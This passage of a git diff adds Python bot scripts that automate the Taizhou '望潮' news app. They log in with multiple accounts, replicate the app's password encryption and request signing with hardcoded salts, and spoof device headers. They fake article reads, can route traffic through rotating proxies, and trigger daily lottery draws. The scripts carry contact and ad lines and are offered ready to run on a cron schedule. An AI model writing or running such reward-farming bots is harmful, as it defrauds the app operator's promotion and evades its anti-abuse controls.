'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://xmt.taizhou.com.cn/readingAward-v7-3/?gaze_control=01', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', +} + response = requests.get(special_cookie_url, headers=headers) + if debug and response.status_code == 200: + print('执行任务获取阅读jse') + print('下面是访问的url\n',special_cookie_url) + print('下面是访问的headers\n',headers) + print('下面是返回的response\n',response.headers) + if response.status_code == 200 and response.headers['Set-Cookie']: + jsessionid1 =response.headers['Set-Cookie'].split(';')[0]+';' + print('获取特殊cookie成功',jsessionid1) + return response.headers['Set-Cookie'] + else: + print('获取jsesesionid失败',response.headers) + +#获取日期 +def get_current_date(): + now = datetime.datetime.now() + year_str = str(now.year) + month_str = f"0{now.month}" if now.month < 10 else str(now.month) + day_str = f"0{now.day}" if now.day < 10 else str(now.day) + print(f"当前日期{year_str}{month_str}{day_str}") + return year_str + month_str + day_str + +#获取阅读列表 +def fetch_article_list(): + headers = { + 'Host': 'xmt.taizhou.com.cn', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 13; MEIZU 20 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.101 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;6.0.2;native_app;6.10.0', + 'Accept': '*/*', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://xmt.taizhou.com.cn/readingAward-v7-3/?gaze_control=01', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'cookie': f'{special_cookie};' +} + url=f'https://xmt.taizhou.com.cn/prod-api/user-read/list/{get_current_date()}' + response = requests.get(url, headers=headers) + if debug and response.status_code == 200: + print('执行任务获取阅读列表') + print('下面是访问的url\n',url) + print('下面是访问的headers\n',headers) + print('下面是返回的response\n',response.headers) + msg = response.json()['msg'] + print(msg) + return response.json() + +#阅读文章 +def mark_article_as_read(article_id,retry_count=3): + headers = { + 'Host': 'xmt.taizhou.com.cn', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 13; MEIZU 20 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.101 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;6.0.2;native_app;6.10.0', + 'Accept': '*/*', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://xmt.taizhou.com.cn/readingAward-v7-3/?gaze_control=01', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'cookie': f'{special_cookie}', +} + timestamp_str = str(math.floor(time.time() * 1000)) + signature = generate_md5('&&' + str(article_id) + '&&TlGFQAOlCIVxnKopQnW&&' + timestamp_str) + url = f'https://xmt.taizhou.com.cn/prod-api/already-read/article?articid={article_id}×tamp={timestamp_str}&signature={signature}' + + # 创建一个包含重试策略的会话 + session = requests.Session() + retries = Retry(total=5, backoff_factor=1, status_forcelist=[502, 503, 504]) + session.mount('https://', HTTPAdapter(max_retries=retries)) + + for attempt in range(retry_count): + try: + response = session.get(url, headers=headers, timeout=10) + if response.status_code == 200: + print(response.text) + return + else: + print(f"请求失败,状态码: {response.status_code}, 响应内容: {response.text}") + except requests.exceptions.RequestException as e: + print(f"请求失败 (尝试 {attempt + 1}/{retry_count}): {e}") + time.sleep(2) # 在重试前增加延迟 + + +# 登录并获取抽奖JSESSIONID +def login(account_id, session_id, retry_count=3): + base_url = 'https://srv-app.taizhou.com.cn' + url = f'{base_url}/tzrb/user/loginWC' + headers = { + 'Host': 'srv-app.taizhou.com.cn', + 'Connection': 'keep-alive', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 13; MEIZU 20 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.101 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;6.0.2;native_app;6.10.0', + 'Accept': '*/*', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://srv-app.taizhou.com.cn/luckdraw/', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7' + } + params = { + 'accountId': account_id, + 'sessionId': session_id + } + + # 创建一个包含重试策略的会话 + session = requests.Session() + retries = Retry(total=5, backoff_factor=1, status_forcelist=[502, 503, 504]) + session.mount('https://', HTTPAdapter(max_retries=retries)) + + for attempt in range(retry_count): + try: + response = session.get(url, params=params, headers=headers, timeout=10) + if response.status_code == 200: + cookies_dict = response.cookies.get_dict() + s_JSESSIONID = '; '.join([f'{k}={v}' for k, v in cookies_dict.items()]) + return s_JSESSIONID + else: + print(f"请求失败,状态码: {response.status_code}, 响应内容: {response.text}") + except requests.exceptions.RequestException as e: + print(f"请求失败 (尝试 {attempt + 1}/{retry_count}): {e}") + time.sleep(2) # 在重试前增加延迟 + + return None + +#抽奖 +def cj(jsessionid, retry_count=3): + url = "https://srv-app.taizhou.com.cn/tzrb/userAwardRecordUpgrade/saveUpdate" + payload = "activityId=67&sessionId=undefined&sig=undefined&token=undefined" + headers = { + 'Host': 'srv-app.taizhou.com.cn', + 'Connection': 'keep-alive', + 'Content-Length': '63', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.101 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;6.0.2;native_app;6.10.0', + 'Content-type': 'application/x-www-form-urlencoded', + 'Accept': '*/*', + 'Origin': 'https://srv-app.taizhou.com.cn', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://srv-app.taizhou.com.cn/luckdraw-ra-1/', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'Cookie': f'{jsessionid}' + } + + # 创建一个包含重试策略的会话 + session = requests.Session() + retries = Retry(total=4, backoff_factor=1, status_forcelist=[502, 503, 504]) + session.mount('https://', HTTPAdapter(max_retries=retries)) + + for attempt in range(retry_count): + try: + response = session.post(url, data=payload, headers=headers, timeout=10) + if response.status_code == 200: + print(response.text) + display_draw_results(jsessionid) + return # 成功则退出函数 + else: + print(f"POST 请求失败,状态码: {response.status_code}, 响应内容: {response.text}") + except requests.exceptions.RequestException as e: + print(f"POST 请求失败 (尝试 {attempt + 1}/{retry_count}): {e}") + time.sleep(2) # 在重试前增加延迟 + +#查询抽奖结果 +def display_draw_results(cookies): + draw_result_headers = { + 'Host': 'srv-app.taizhou.com.cn', + 'Connection': 'keep-alive', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 13; MEIZU 20 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.101 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;6.0.2;native_app;6.10.0', + 'Accept': '*/*', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://srv-app.taizhou.com.cn/luckdraw-awsc-231023/', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'Cookie': f'{cookies}', + } + result_url = 'https://srv-app.taizhou.com.cn/tzrb/userAwardRecordUpgrade/pageList?pageSize=10&pageNum=1&activityId=67' + result_data = requests.get(result_url, headers=draw_result_headers).json()["data"]["records"] + for record in result_data: + create_time_str = str(record["createTime"]) + award_name_str = str(record["awardName"]) + print(f"{create_time_str}---------{award_name_str}") + +# 从环境变量中读取账户和密码 +accounts = os.getenv("wangchaoAccount") + +if not accounts: + print("❌未找到环境变量!") +else: + accounts_list = accounts.split("&") + print(f"一共在环境变量中获取到 {len(accounts_list)} 个账号") + for account in accounts_list: + password, phone = account.split("#") + message, account_id, session_id, name = sign(phone, password) + deviceid = generate_random_uuid() + if account_id and session_id: + mobile = phone[:3] + "*" * 4 + phone[7:] + print(f"账号 {mobile} 登录成功") + special_cookie = get_special_cookie() + print(f"账号 {mobile} 获取阅读列表") + article_list = fetch_article_list() + for article in article_list['data']['articleIsReadList']: + article_title = article['title'] + if article['isRead'] == True : + print(f"√文章{article_title}已读") + time.sleep(0.5) + continue + else: + time.sleep(random.uniform(3.5, 4.5)) + article_id = article['id'] + print(f"账号 {mobile} 阅读文章 {article_title}") + mark_article_as_read(article_id) + time.sleep(1) + jsessionid = login(account_id, session_id) + if jsessionid: + print('去抽奖') + cj(jsessionid) + else: + print(f"获取 JSESSIONID 失败") + else: + print(f"账号 {phone} 登录失败") + + # 每个账号登录后延迟... + print("等待 5 秒后继续下一个账号...") + time.sleep(5) + print("所有账号处理完毕") \ No newline at end of file diff --git a/脚本库/web版/账密/望潮代理版/2025-06-28_望潮代理版_cfe0f499.py b/脚本库/web版/账密/望潮代理版/2025-06-28_望潮代理版_cfe0f499.py new file mode 100644 index 0000000..869aec8 --- /dev/null +++ b/脚本库/web版/账密/望潮代理版/2025-06-28_望潮代理版_cfe0f499.py @@ -0,0 +1,645 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E6%9C%9B%E6%BD%AE%E4%BB%A3%E7%90%86%E7%89%88.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E6%9C%9B%E6%BD%AE%E4%BB%A3%E7%90%86%E7%89%88.py +# Repo: jdqlscript/toulu +# Path: 望潮代理版.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: cfe0f499ae9b30709066b3ecac2125243fa8628a40e6e9a298b5664fb4d0d347 +# Category: web版/账密 +# Evidence: web/H5关键词 + username/password/login + + #有问题联系3288588344 + #频道:https://pd.qq.com/s/672fku8ge + +#长期套餐大额流量电话卡办理地址:https://hk.yunhaoka.cn/#/pages/micro_store/index?agent_id=669709 + + +dlurl = '' # 记得加白 +# 代理的url 不写为不用代理 + +print(""" +二改的 谁的本我也不知道!!! +修复抽奖!!!!!!! +修复抽奖!!!!!!! +修复抽奖!!!!!!! +修复抽奖!!!!!!! +修复抽奖!!!!!!! +修复抽奖!!!!!!! +修复抽奖!!!!!!! +每天早上九点运行就行 cron:0 0 9 * * * +注册后改密码 +环境变量wangchao 多号新建或&隔 +手机号密码 +奥特曼插件订阅:3288588344 QQ频道:98do10s246 +""") +import hashlib +import random +import string +import time +import re +import requests +from os import environ, path +from functools import partial +from datetime import datetime +from Crypto.PublicKey import RSA +from Crypto.Cipher import PKCS1_v1_5 +import base64 +import urllib.parse + + +def load_send(): + global send + cur_path = path.abspath(path.dirname(__file__)) + if path.exists(cur_path + "/SendNotify.py"): + try: + from SendNotify import send + print("加载通知服务成功!") + except Exception as e: + send = False + print(e) + print( + '''加载通知服务失败~\n请自行补全SendNotify依赖"''') + else: + send = False + print( + '''加载通知服务失败~\n请自行补全SendNotify依赖"''') + + +def get_environ(key, default="", output=True): + def no_read(): + if output: + print(f"未填写环境变量 {key} 请添加") + #exit(0) + + return default + + return environ.get(key) if environ.get(key) else no_read() + + +def generate_random_string(length): + letters_and_digits = string.ascii_lowercase + string.digits + return ''.join(random.choice(letters_and_digits) for i in range(length)) + + +def pd1(ck): + plaintext = ck + public_key_base64 = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD6XO7e9YeAOs+cFqwa7ETJ+WXizPqQeXv68i5vqw9pFREsrqiBTRcg7wB0RIp3rJkDpaeVJLsZqYm5TW7FWx/iOiXFc+zCPvaKZric2dXCw27EvlH5rq+zwIPDAJHGAfnn1nmQH7wR3PCatEIb8pz5GFlTHMlluw4ZYmnOwg+thwIDAQAB" + + public_key = RSA.import_key(base64.b64decode(public_key_base64)) + cipher = PKCS1_v1_5.new(public_key) + cipher_text = cipher.encrypt(plaintext.encode('utf-8')) + encrypted_data_base64 = base64.b64encode(cipher_text).decode('utf-8') + cipher_text = encrypted_data_base64 + url_safe_cipher_text = urllib.parse.quote(cipher_text, safe='') + return url_safe_cipher_text + + +class Ghdy: + + def __init__(self, ck): + url = "https://passport.tmuyun.com/web/oauth/credential_auth" + url_d = 'https://vapp.taizhou.com.cn/api/zbtxz/login' + m = pd1(ck[1]) + s = ck[0] + head = { + 'Cache-Control': 'no-cache', + 'User-Agent': 'ANDROID;9;10019;5.3.1;1.0;null;16T', + 'X-REQUEST-ID': '2120678b-84a7-40f1-8c92-df789980f821', + 'X-SIGNATURE': '06152b2984fd2b976e183cba4d588693c55b9ebc46814c59ac49b0e7bb63e946', + 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8', + 'COOKIE': 'SESSION=YTVlNTllZmUtNjliNy00YjZiLWI0MjUtMmExZjFhYzRlYzQ5; Path=/; HttpOnly; SameSite=Lax', + 'Connection': 'Keep-Alive', + 'Accept-Encoding': 'gzip', + 'Content-Length': '232', + } + head_d = { + "X-SESSION-ID": "6498052ebf15a44961f350e1", + "X-REQUEST-ID": "7c549049-a97b-4acb-96c6-3e2db706667d", + "X-TIMESTAMP": "1687685127765", + "X-SIGNATURE": "50e1530a02086535f5f0c2c58e7bbdea521468d3e5a2874541456da7755bbd6e", + "X-TENANT-ID": "64", + "User-Agent": "5.3.1;00000000-699e-76bc-ffff-ffff9e3d172a;Meizu 16T;Android;9;huawei", + "Cache-Control": "no-cache", + "Content-Type": "application/x-www-form-urlencoded", + "Content-Length": "67", + "Host": "vapp.taizhou.com.cn", + "Connection": "Keep-Alive", + "Accept-Encoding": "gzip" + } + data = f'client_id=10019&password={m}&phone_number={s}' + # print(data) + + r = requests.post(url, headers=head, data=data) + time.sleep(2) + if r.json()['code'] == 0: + yzm = r.json()['data']['authorization_code']['code'] + data_d = f'check_token=&code={yzm}&token=&type=-1&union_id=' + # print(data_d) + r_d = requests.post(url=url_d, headers=head_d, data=data_d) + if r_d.json()['code'] == 0: + sessid = r_d.json()['data']['session']['id'] + accid = r_d.json()['data']['account']['id'] + else: + print('账号或密码错误:具体报错', r_d.text) + + elif r.json()['code'] == 100: + print(r.json()['message']) + return + else: + print('未知错误具体看响应:', r.text) + return + + self.account = accid + self.session = sessid + self.id_dict = {} + self.JSESSIONID = '' + self.s_JSESSIONID = '' + self.msg = '' + + def login(self): + try: + time.sleep(0.5) + url = "https://xmt.taizhou.com.cn/prod-api/user-read/app/login" + headers = { + 'Host': 'xmt.taizhou.com.cn', + 'Connection': 'keep-alive', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 11; Redmi Note 8 Pro Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;5.3.1;native_app', + 'Accept': '*/*', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://xmt.taizhou.com.cn/readingAward/', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + } + params = { + 'id': self.account, + 'sessionId': self.session, + 'deviceId': '00000000-699e-76bc-ffff-ffff9e3d172a' + } + r = requests.get(url, params=params, headers=headers) + if '成功' in r.json()['msg']: + # xx = f'🚀登录成功:{r.json()["data"]["nickName"]}' + # self.msg += xx + '\n' + # print(xx) + jsessionid = r.cookies + cookies_dict = jsessionid.get_dict() + for k, y in cookies_dict.items(): + self.JSESSIONID = f'{k}={y}' + elif '失败' in r.json()['msg']: + xx = f'⛔️{r.json()["msg"]}' + self.msg += xx + '\n' + print(xx) + except Exception as e: + print(e) + + def get_id(self): + try: + today = datetime.today().strftime('%Y%m%d') + url = f'https://xmt.taizhou.com.cn/prod-api/user-read/list/{today}' + headers = { + 'Host': 'xmt.taizhou.com.cn', + 'Connection': 'keep-alive', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 11; Redmi Note 8 Pro Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;5.3.1;native_app', + 'Accept': '*/*', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://xmt.taizhou.com.cn/readingAward/', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'Cookie': self.JSESSIONID, + } + + r = requests.get(url, headers=headers) + if '成功' in r.json()['msg']: + r_list = r.json()['data']['articleIsReadList'] + id_dict = {} + for i in r_list: + id_dict[i['id']] = i['newsId'] + self.id_dict = id_dict + if self.id_dict: + xx = "✅文章加载成功" + self.msg += xx + '\n' + print(xx) + elif '重新' in r.json()['msg']: + xx = f'⛔️文章加载失败:{r.json()["msg"]}' + print(xx) + self.msg += xx + '\n' + + else: + xx = f'⛔️请求异常:{r.json()["msg"]}' + print(xx) + self.msg += xx + '\n' + + except Exception as e: + print(e) + + def look(self): + try: + for idd, new_id in self.id_dict.items(): + a8 = generate_random_string(8) + b4 = generate_random_string(4) + c4 = generate_random_string(4) + d4 = generate_random_string(4) + e12 = generate_random_string(12) + request = f'{a8}-{b4}-{c4}-{d4}-{e12}' + current_timestamp = int(time.time() * 1000) + sha = f'/api/article/detail&&{self.session}&&{request}&&{current_timestamp}&&FR*r!isE5W&&64' + sha256 = hashlib.sha256() + sha256.update(sha.encode('utf-8')) + signature = sha256.hexdigest() + url = 'https://vapp.taizhou.com.cn/api/article/detail' + headers = { + 'X-SESSION-ID': self.session, + 'X-REQUEST-ID': f'{request}', + 'X-TIMESTAMP': f'{current_timestamp}', + 'X-SIGNATURE': f'{signature}', + 'X-TENANT-ID': '64', + 'User-Agent': '5.3.1;00000000-699e-0680-ffff-ffffc24c26a8;Xiaomi Redmi Note 8 Pro;Android;11;tencent', + 'X-ACCOUNT-ID': self.session, + 'Cache-Control': 'no-cache', + 'Host': 'vapp.taizhou.com.cn', + 'Connection': 'Keep-Alive', + 'Accept-Encoding': 'gzip', + } + + params = { + 'id': new_id, + } + r = requests.get(url, params=params, headers=headers) + if r.json()['message'] == 'success': + xx = f'✅开始浏览《{r.json()["data"]["article"]["list_title"]}》' + print(xx) + self.msg += xx + '\n' + time.sleep(3) + current_timestamp = int(time.time() * 1000) + sha = f'&&{idd}&&TlGFQAOlCIVxnKopQnW&&{current_timestamp}' + md5 = hashlib.md5() + md5.update(sha.encode('utf-8')) + signature = md5.hexdigest() + headers = { + 'Host': 'xmt.taizhou.com.cn', + 'Connection': 'keep-alive', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 11; Redmi Note 8 Pro Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;5.3.1;native_app', + 'Accept': '*/*', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://xmt.taizhou.com.cn/readingAward/', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'Cookie': self.JSESSIONID, + } + params = { + 'articid': idd, + 'timestamp': current_timestamp, + 'signature': signature, + } + r = requests.get( + 'https://xmt.taizhou.com.cn/prod-api/already-read/article', + params=params, + headers=headers, + ) + if '成功' in r.json()['msg']: + xx = f'✅浏览完成' + print(xx) + self.msg += xx + '\n' + elif '重新' in r.json()['msg']: + xx = f'⛔️浏览失败:{r.json()["msg"]}' + print(xx) + self.msg += xx + '\n' + else: + xx = f'⛔️浏览异常:{r.json()["msg"]}' + print(xx) + self.msg += xx + '\n' + elif '不存在' in r.json()['msg']: + xx = f'⛔️浏览失败:{r.json()["msg"]}' + print(xx) + self.msg += xx + '\n' + + else: + xx = f'⛔️浏览异常:{r.json()["msg"]}' + print(xx) + self.msg += xx + '\n' + + c_headers = { + 'Host': 'xmt.taizhou.com.cn', + 'Connection': 'keep-alive', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 11; Redmi Note 8 Pro Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;5.3.1;native_app', + 'Accept': '*/*', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://xmt.taizhou.com.cn/readingAward/', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'Cookie': self.JSESSIONID, + } + today = datetime.today().strftime('%Y%m%d') + c_r = requests.get(f'https://xmt.taizhou.com.cn/prod-api/user-read-count/count/{today}', headers=c_headers) + if '成功' in c_r.json()['msg']: + xx = f'✅全部浏览完成,准备开始抽红包吧!' + print(xx) + self.msg += xx + '\n' + else: + xx = c_r.json()['msg'] + print(xx) + self.msg += xx + '\n' + except Exception as e: + print(e) + + def chou(self): + try: + c_headers = { + 'Host': 'srv-app.taizhou.com.cn', + 'Connection': 'keep-alive', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 11; Redmi Note 8 Pro Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;5.3.1;native_app', + 'Accept': '*/*', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://srv-app.taizhou.com.cn/luckdraw/', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'Cookie': '', + } + c_params = { + 'accountId': self.account, + 'sessionId': self.session, + } + c_r = requests.get('https://srv-app.taizhou.com.cn/tzrb/user/loginWC', params=c_params, headers=c_headers) + jsessionid = c_r.cookies + cookies_dict = jsessionid.get_dict() + for k, y in cookies_dict.items(): + JSESSIONID = f'{k}={y}' + self.s_JSESSIONID = JSESSIONID + url = 'https://srv-app.taizhou.com.cn/tzrb/userAwardRecordUpgrade/save' + headers = { + 'Host': 'srv-app.taizhou.com.cn', + 'Connection': 'keep-alive', + 'Content-Length': '13', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 11; Redmi Note 8 Pro Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;5.3.1;native_app', + 'Content-type': 'application/x-www-form-urlencoded', + 'Accept': '*/*', + 'Origin': 'https://srv-app.taizhou.com.cn', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://srv-app.taizhou.com.cn/luckdraw/', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'Cookie': self.s_JSESSIONID, + } + data = { + 'activityId': '67', + } + r = requests.post(url, headers=headers, data=data) + if '成功' in r.json()['message']: + xx = f'✅抽奖成功' + print(xx) + self.msg += xx + '\n' + elif '明天' in r.json()['message']: + xx = f'❌{r.json()["message"]}' + print(xx) + self.msg += xx + '\n' + else: + print(r.text) + xx = f'⛔️{r.json()["message"]}' + print(xx) + self.msg += xx + '\n' + jl_headers = { + 'Host': 'srv-app.taizhou.com.cn', + 'Connection': 'keep-alive', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 11; Redmi Note 8 Pro Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;5.3.1;native_app', + 'Accept': '*/*', + 'X-Requested-With': 'com.shangc.tiennews.taizhou', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://srv-app.taizhou.com.cn/luckdraw/', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'Cookie': self.s_JSESSIONID, + } + jl_params = { + 'pageSize': '10', + 'pageNum': '1', + 'activityId': '67', + } + jl_r = requests.get('https://srv-app.taizhou.com.cn/tzrb/userAwardRecordUpgrade/pageList', params=jl_params, + headers=jl_headers) + if '成功' in jl_r.json()['message']: + jl_list = jl_r.json()['data']['records'] + xx = '🎁抽奖记录🎁' + print(xx) + self.msg += xx + '\n' + for i in jl_list: + xx = f'⏰{i["createTime"]}: {i["awardName"]}' + print(xx) + self.msg += xx + '\n' + send("🔔原神启动", self.msg) + else: + send("🔔原神启动", self.msg) + except Exception as e: + print(e) + + +def choujiang(account, dlurl): + import os + import requests + from requests.adapters import HTTPAdapter + from requests.packages.urllib3.util.retry import Retry + from Crypto.PublicKey import RSA + from Crypto.Cipher import PKCS1_v1_5 + import base64 + import urllib.parse + import time + def dl(): + response = requests.get(dlurl) + print(response.text) + proxies = { + 'http': f'http://{response.text}', + 'https': f'http://{response.text}', + } + return proxies + + if dlurl != '': + try: + proxies = dl() + except Exception: + dlurl = '' + + # 加密密码 + def jm(password): + public_key_base64 = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD6XO7e9YeAOs+cFqwa7ETJ+WXizPqQeXv68i5vqw9pFREsrqiBTRcg7wB0RIp3rJkDpaeVJLsZqYm5TW7FWx/iOiXFc+zCPvaKZric2dXCw27EvlH5rq+zwIPDAJHGAfnn1nmQH7wR3PCatEIb8pz5GFlTHMlluw4ZYmnOwg+thwIDAQAB" + public_key_der = base64.b64decode(public_key_base64) + key = RSA.importKey(public_key_der) + cipher = PKCS1_v1_5.new(key) + password_bytes = password.encode('utf-8') + encrypted_password = cipher.encrypt(password_bytes) + encrypted_password_base64 = base64.b64encode(encrypted_password).decode('utf-8') + url_encoded_data = urllib.parse.quote(encrypted_password_base64) + return url_encoded_data + + # 签名并获取认证码 + def sign(phone, password): + url_encoded_data = jm(password) + url = "https://passport.tmuyun.com/web/oauth/credential_auth" + payload = f"client_id=10019&password={url_encoded_data}&phone_number={phone}" + headers = { + 'User-Agent': "ANDROID;13;10019;6.0.2;1.0;null;MEIZU 20", + 'Connection': "Keep-Alive", + 'Accept-Encoding': "gzip", + 'Content-Type': "application/x-www-form-urlencoded", + 'Cache-Control': "no-cache", + 'X-SIGNATURE': "185d21c6f3e9ec4af43e0065079b8eb7f1bb054134481e57926fcc45e304b896", + } + + response = requests.post(url, data=payload, headers=headers) + try: + code = response.json()['data']['authorization_code']['code'] + url = "https://vapp.taizhou.com.cn/api/zbtxz/login" + payload = f"check_token=&code={code}&token=&type=-1&union_id=" + headers = { + 'User-Agent': "6.0.2;00000000-67e9-2a58-0000-000010724a65;Meizu MEIZU 20;Android;13;tencent;6.10.0", + 'Connection': "Keep-Alive", + 'Accept-Encoding': "gzip", + 'Content-Type': "application/x-www-form-urlencoded", + 'X-SESSION-ID': "66586b383f293a7173e4c8f4", + 'X-REQUEST-ID': "110c1987-1637-4f4e-953e-e35272bb891e", + 'X-TIMESTAMP': "1717072109065", + 'X-SIGNATURE': "a69f171e284594a5ecc4baa1b2299c99167532b9795122bae308f27592e94381", + 'X-TENANT-ID': "64", + 'Cache-Control': "no-cache" + } + if dlurl == '': + response = requests.post(url, data=payload, headers=headers) + else: + response = requests.post(url, data=payload, headers=headers, proxies=proxies) + + message = response.json()['message'] + account_id = response.json()['data']['account']['id'] + session_id = response.json()['data']['session']['id'] + name = response.json()['data']['account']['nick_name'] + return message, account_id, session_id, name + except Exception: + print('出错啦!') + return None, None, None, None + + # 登录并获取 JSESSIONID + def login(account_id, session_id, retry_count=3): + base_url = 'https://srv-app.taizhou.com.cn' + url = f'{base_url}/tzrb/user/loginWC' + headers = { + 'Host': 'srv-app.taizhou.com.cn', + 'Connection': 'keep-alive', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 